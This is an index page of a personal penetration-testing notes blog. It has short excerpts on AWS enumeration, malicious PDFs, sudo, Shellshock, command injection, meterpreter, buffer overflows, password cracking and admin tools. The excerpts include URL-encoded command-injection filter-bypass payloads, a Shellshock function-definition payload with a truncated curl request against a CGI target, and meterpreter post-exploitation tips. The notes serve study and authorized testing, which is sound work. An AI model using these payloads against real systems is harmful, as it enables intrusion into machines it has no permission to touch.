akde/infosec

Click Here

  • AWS Amazon Web Service enumeration

    Use pro­files: See https://github.com/eon01/AWS-CheatSheet for many com­mands or https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-access-token/ General Get Infos of the cur­rent used profile aws [--profile $profile] sts get-caller-identity Anoth­er pos­si­bil­i­ty to gain an ARN (with account id) is to call a non-exist­ing func­tion and to extract data from the error message. EC2 List all EC2 images = AMI’s: aws [--profile $profile] ec2…

  • PDF

    This is how a PDF doc­u­ment looks — with a JavaScript exe­cu­tion. Note that with Ope­n­Ac­tion 6 (object block 6) this block is exe­cut­ed when the doc­u­ment is opened. Oth­er way to cre­ate a mali­cious PDF: Analyse a PDF file If a PDF file is com­pressed, decom­press it first. pdftk input.pdf output output.pdf uncompress Get details with Pdfin­fo…

  • sudo

    Configuration options env_reset: Resets the envi­ron­ment to default con­fig­ured in /etc/environment. env_keep: Adds envi­ron­ment vari­ables which are addi­tion­al­ly allowed. If LD_PRELOAD is in there, see below. mail_badpass: Sends an email to the admin if a user failed to pro­vide a sudo password. secure_path: Sets the PATH envi­ron­ment vari­able to the giv­en paths. Configurations Some­thing like the fol­low­ing…

  • Variable substitution

    This post con­tains a col­lec­tion of vari­able sub­sti­tu­tion commands. Bash $(echo id) Ruby #{} PHP {}

  • Command injections

    See also the encod­ing post for encod­ing methods. Tips Bypassing filters Linux / PHP All URL encod­ed val­ues start­ing with a space character. | id %20%7c%20%69%64 || id %20%7c%7c%20%69%64 & id %20%26%20%69%64 && id %20%26%26%20%69%64 <?php print "1"" ?> %20%3c%3f%70%68%70%20%70%72%69%6e%74%20%22%31%22%22%20%3f%3e ;id %20%3b%69%64 Sources

  • Shellshock

    Old­er bash ver­sions may exe­cute code after func­tion definitions. Via command line Source with explanation export newfunction='() { echo 'shellshockdemo';}; echo vulnerable' Via a web server / CGI script Cau­tion: Try the reverse shell exam­ple in Burp also if the curl com­mand fails! curl http://$target/cgi-bin/admin.cgi -s > before curl -H "User-Agent: () { :; }; /bin/bash…

  • Bash exploits

    Shellshock A func­tion in a envi­ron­ment vari­able is exe­cut­ed in a child process of the bash. When export­ing a new func­tion like this export func=’() { echo mist; }; echo aha;’ and start­ing a new bash ses­sion, “aha” is executed.

  • PHP

    Local file inclusion and Wrappers Gen­er­al: If you try to read PHP and noth­ing returns — use a base64 return! Remote file inclusion PHP deserialization If a pro­gram accepts a seri­al­ized object which uses a mag­ic method, then… TODO, see here

  • URIs, Wrappers, Streams and protocol handler

  • Decompiler / Disassembler

    Check also IDEs like Intel­liJ, Visu­al Stu­dio, Eclipse, …

  • Fun with encoding

    See https://gist.github.com/Neo23x0/6af876ee72b51676c82a2db8d2cd3639 as a base64 cheat sheet. The clas­sic (base64 com­bines the bytes of the text and sep­a­rates 6 bit (2^6 = 64) and maps each 6 bit to a char­ac­ter. “=” means “two byte miss­ing”. For exam­ple, if the com­bined strings have 2 bit “left” (41.…), then (A==) echo Hi | base64 -d Con­vert hex…

  • Fuzzing

    From SANS660: “Fuzzing is not an attack; it is a fault-test­ing tech­nique.” Types are: Instru­ment­ed Fuzzing: “Mon­i­tor­ing” a sys­tem to learn how nor­mal inputs look like. No pre-knowl­edge of the sys­tem needed. Intel­li­gent uta­tion: A pro­to­col gram­mar which defines paths through all the code. Inputs are mutat­ed accord­ing to the grammar. Tools https://tools.kali.org/vulnerability-analysis/sfuzz See https://en.kali.tools/all/?category=fuzzer Sulley…

  • Microsoft Exchange / Outlook

    Enumeration Multiple

  • File archives

    GZ If the file can­not be extracted gzip: log.gz: unexpected end of file use zcat index.gz

  • Sqlite

    Show tables .tables Show columns / schema from a table PRAGMA table_info(users)

  • Docker

    General commands Show avail­able Dock­er images docker images Show run­ning Dock­er instances docker ps Run an instance in fore­ground (debug logs are visible) docker run -p 8080:80/tcp --name bolt11 aerth/boltcms:latest Run an instance in the background docker run -p 8000 --name <name> -d -t <imagename> Open shell into an instance docker exec -it <container_name> /bin/bash…

  • meterpreter

    Upgrade a shell to a meter­preter shell sessions -u $session_id Cau­tion: Maybe the build­tu­ple is the wrong architecture. Show process­es ps Show how long the user is not on his/her com­put­er (try things which could pop up shells pre­fer­refly after the sys­tem is idle for some time.) idletime Migrate into anoth­er process to make the con­nec­tion…

  • fingerprintjs

    Fingerprintjs2 col­lects a vast amount of brows­er configurations. Vic­tims could be brought to vis­it a site which con­tains this JS which sends the infor­ma­tion back to the attacker. See OSCP 414ff

  • Windows Registry

    The Win­dows reg­istry is a cen­tral data stor­age for the oper­a­tion sys­tem as well as for appli­ca­tions. It’s a key-val­ue stor­age in a tree structure. A hive is a set of keys and their val­ues. The root hives are: Short Long Con­tent Source file HKCR HKEY_CLASSES_ROOT Infor­ma­tion about file types and properties HKCC HKEY_CURRRENT_CONFIG Infor­ma­tion about…

  • Active Directory notes

    Check­list A domain of a DC con­sists out of the fol­low­ing elements: An object in AD may have a set of ACE Access Con­trol Entries which is called ACL Access Con­trol List. An objec­t’s ACE can be retrieved in PS with Get-ObjectAcl [-Identity| $object. The SCM Ser­vice Con­trol Man­ag­er con­tains a data­base of installed ser­vices…

  • File systems

    ext3/ext4 Design prin­ci­ples: Information about the file system Gen­er­al information fsstat /dev/sda1 Infor­ma­tion of an inode (2 = root directory): istat /dev/sda1 2 Get the par­ti­tions of an image mmls server.img mmls shows the start off­set of each par­ti­tion. Show details of the par­ti­tion which starts at 4096: fsstat -o 4096 server.img Show all files of a…

  • PowerShell

    Pow­er­shell Cmdlets con­sist out of Verb-Method. To search for a method, type Get-Command New-U* To see all attrib­ut­es for a Cmdlet, type Get-LocalUser | Get-Member To see spe­cif­ic or non-default attrib­ut­es, type Get-LocalUser | Select-Object -Property Name,PasswordRequired Examples Directories and files Get all files in the cur­rent directory. Get-ChildItem Get all files in the cur­rent direc­to­ry and below.…

  • Python

    Con­vert a Python2 script into a Python3 script: 2to3 -w example.py Fix tab/space/identation problems: autopep8 -i linuxprivchecker.py If a library is installed, but can­not found from smb.SMBConnection import SMBConnection then try to search the file local­ly and include the path manually: import syssys.path.append("path/to/your/file") One­lin­er for exe­cut­ing bash in a file: echo 'import os;os.system("/bin/bash")' > /tmp/e.py Exe­cute something:…

  • Paketverwaltungen / apt

    Auf dem Client: root@raspberrypi:/etc/apt# cat apt.conf Acquire::http::Proxy "http://10.10.14.38:3128"; Auf dem Proxy:

  • GCC

    Cross-compiling for 32/64 bit systems sudo apt-get install gcc-multlib gcc ‑m32 datei.c Tipp: Add ‑sta­t­ic for a sta­t­ic binary. Note that you need to install pack­ets for the tar­get plat­form, e.g. apt install gcc-i686-linux-gnu. Cross-compiling for Windows Install the pack­ages like apt install gcc-mingw-w64. Then use x86_64-w64-mingw32-gcc execute.c -o execute.exe. Disable security features You can…

  • One-liner web server / webserver

    List with a ton of one-lin­er web servers in var­i­ous languages HTTP python -m SimpleHTTPServer 8000 python3 -m http.server 8000 HTTPS ruby -r webrick/https -e ' WEBrick::HTTPServer.new( Port: 8000, DocumentRoot: ".", SSLEnable: true, SSLCertName: [%w[CN localhost]]).start'

  • Passwort cracking

    (!) See also Pass­word spray­ing to check a obtained pass­word against usernames. Note: Use http://rumkin.com/tools/cipher/ if you have to encode/decrypt/decipher some­thing on the fly. Wordlist optimization If there is a pass­word pol­i­cy known: Check password policy In Win­dows, type net accounts to get infor­ma­tions about account lock­ing, lock­out threash­olds etc. Cloud-based performance cracking See NPK Default passwords Hashcat Am…

  • Buffer Overflow

    Use the bof1_web.py or bof1_socket.py to start. Use bof1_socket_10.py to deter­mine the posi­tion of the EIP. Use bof2_socket_20.py with the found EIP off­set to ver­i­fy that the EIP was over­writ­ten with B’s. Use bof3_socket_10.py with the found EIP and find all bad chars. Find with Mona a JMP address. Cre­ate pay­load, add it and €prof­it. 0. Confirm vulnerability Down­load…

  • iptables / netfilter

    Note that ipt­a­bles and ip6tables should be used always together! Tables Ipt­a­bles man­ages a set of tables which act as ACL Access Con­trol Lists. Actions Actions are defined via the -j option. Examples Show all rules iptables -Lip6tables -L Ignore all pack­ets from a network: iptables -A INPUT -s 192.168.5.1/32 -j DROPip6tables -A INPUT -s fd75:943b:5f2e:0:a4:45a1:b753:4152 -j…

  • Screen

    Screen-Sitzung mit Namen starten screen -S name Screen-Sitzun­gen auflisten screen -ls Screen-Sitzung fort­set­zen screen -xS name